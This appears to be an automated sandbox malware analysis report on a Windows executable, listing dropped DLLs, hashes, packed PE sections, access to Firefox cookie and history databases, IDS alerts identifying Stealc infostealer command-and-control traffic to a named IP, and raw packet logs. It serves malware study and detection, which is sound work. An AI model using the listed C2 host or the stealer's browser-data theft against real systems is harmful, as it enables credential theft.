C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946149420491062
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'832'960 bytes
MD5:	edc30dffb34dc9331c81136d7d089faf
SHA1:	4a4aa8d3580d431cb7d2feef62dfeb7c617de083
SHA256:	9cfa0923a6863f09864ff69fd9e62262cc8159baa763150e364042f2e05f589f
SHA512:	ddcf51cedca45b369bdfddd58259b1956c979cdb3a3bf106fe2daac77bdfba7421ad4cc0eec322f6ee57d6261c9fe13ece64345aab541decc9e844cf0f93a208
SSDEEP:	49152:BcumRx+z2bRoFEgO3lWOfjUnw3/w9a8feOcF:Gu9zeRyOknjneZ
TLSH:	1085331ABE9326B1E28DEC304EA16677DB3A2CC84EF1754258BC5939D8F164C3395ED0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa91000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4C81082B0Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	7026a80b513e0161046f7f0951f415b3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x298000	0x200	1127fa4c389c1b8815af50a39eec4f94	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jdhhxrnm	0x4f6000	0x19a000	0x199600	bd4d384edcbae55eddedce423fe3e4ea	False	0.9947990219465649	data	7.953066161782013	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yddexcxr	0x690000	0x1000	0x400	af0c5eeb5e61d688c615ac596b1218db	False	0.7763671875	data	6.0669424978206745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x691000	0x3000	0x2200	bc9ad6b9c23874da8fc6fabe89e2015d	False	0.06502757352941177	DOS executable (COM)	0.8548634302618865	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-25T13:50:06.518244+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:06.805566+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:06.812420+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.6	49712	TCP
2024-10-25T13:50:07.104138+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:07.177412+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.6	49712	TCP
2024-10-25T13:50:08.426361+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:08.711806+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:17.874215+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:19.641359+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:20.690643+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:21.536458+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:23.954810+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:24.914242+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49712	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 13:50:05.296468973 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:05.301992893 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:05.302084923 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:05.302851915 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:05.308293104 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:06.216315985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:06.216481924 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:06.219605923 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:06.225152016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:06.518151045 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:06.518244028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:06.519345999 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:06.524837017 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:06.805468082 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:06.805536032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:06.805566072 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:06.805615902 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:06.806747913 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:06.812419891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.103988886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.104034901 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.104072094 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.104105949 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.104137897 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:07.104140997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.104176044 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:07.104176044 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.104192019 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:07.104219913 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:07.171925068 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:07.177412033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.457433939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.465137005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:07.561635017 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:07.561683893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:07.566976070 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.567229033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.567257881 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.567346096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.567375898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.567403078 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:07.567435026 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.426177979 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.426361084 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.426806927 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.433635950 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.711723089 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.711764097 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.711798906 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.711806059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.711838961 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.711838961 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.711854935 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.711889982 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.711899042 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.711927891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.711935043 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.711963892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.711971998 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.712008953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.712522030 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.712555885 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.712575912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.712590933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.712598085 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.712632895 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.712908983 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.713007927 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.713011980 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.713047028 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:08.713057041 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:08.713090897 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.801495075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.801537991 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.801569939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.801568031 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.801599979 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.801609993 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.801635027 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.801645994 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.801647902 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.801681995 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.801687002 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.801717043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.801721096 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.801753044 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.801769018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.801788092 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.801789999 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.801826954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.801855087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.801891088 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.801907063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.801940918 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.801944017 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.801974058 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.801978111 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802006960 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802016973 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802047968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802062035 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802097082 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802104950 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802130938 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802134991 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802170038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802174091 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802208900 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802232981 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802267075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802269936 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802300930 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802306890 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802335024 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802344084 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802371025 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802376032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802407026 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802408934 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802440882 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802445889 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802474022 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802476883 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802510977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802551985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802581072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802596092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802614927 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802617073 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802650928 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802654028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802686930 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802750111 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802788019 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.802867889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.802903891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.808665037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.808717012 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.808718920 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.808763027 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.808841944 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.808887005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.808954954 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.809003115 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.813694954 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.813747883 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.813754082 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.813791990 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.813800097 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.813836098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.813842058 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.813869953 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.813878059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.813915014 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.814033985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.814079046 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.814099073 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.814135075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.814141989 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.814174891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.814187050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.814220905 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:09.814238071 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.814268112 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:09.815022945 CEST	80	49712	185.215.113.37	192.168.2.6
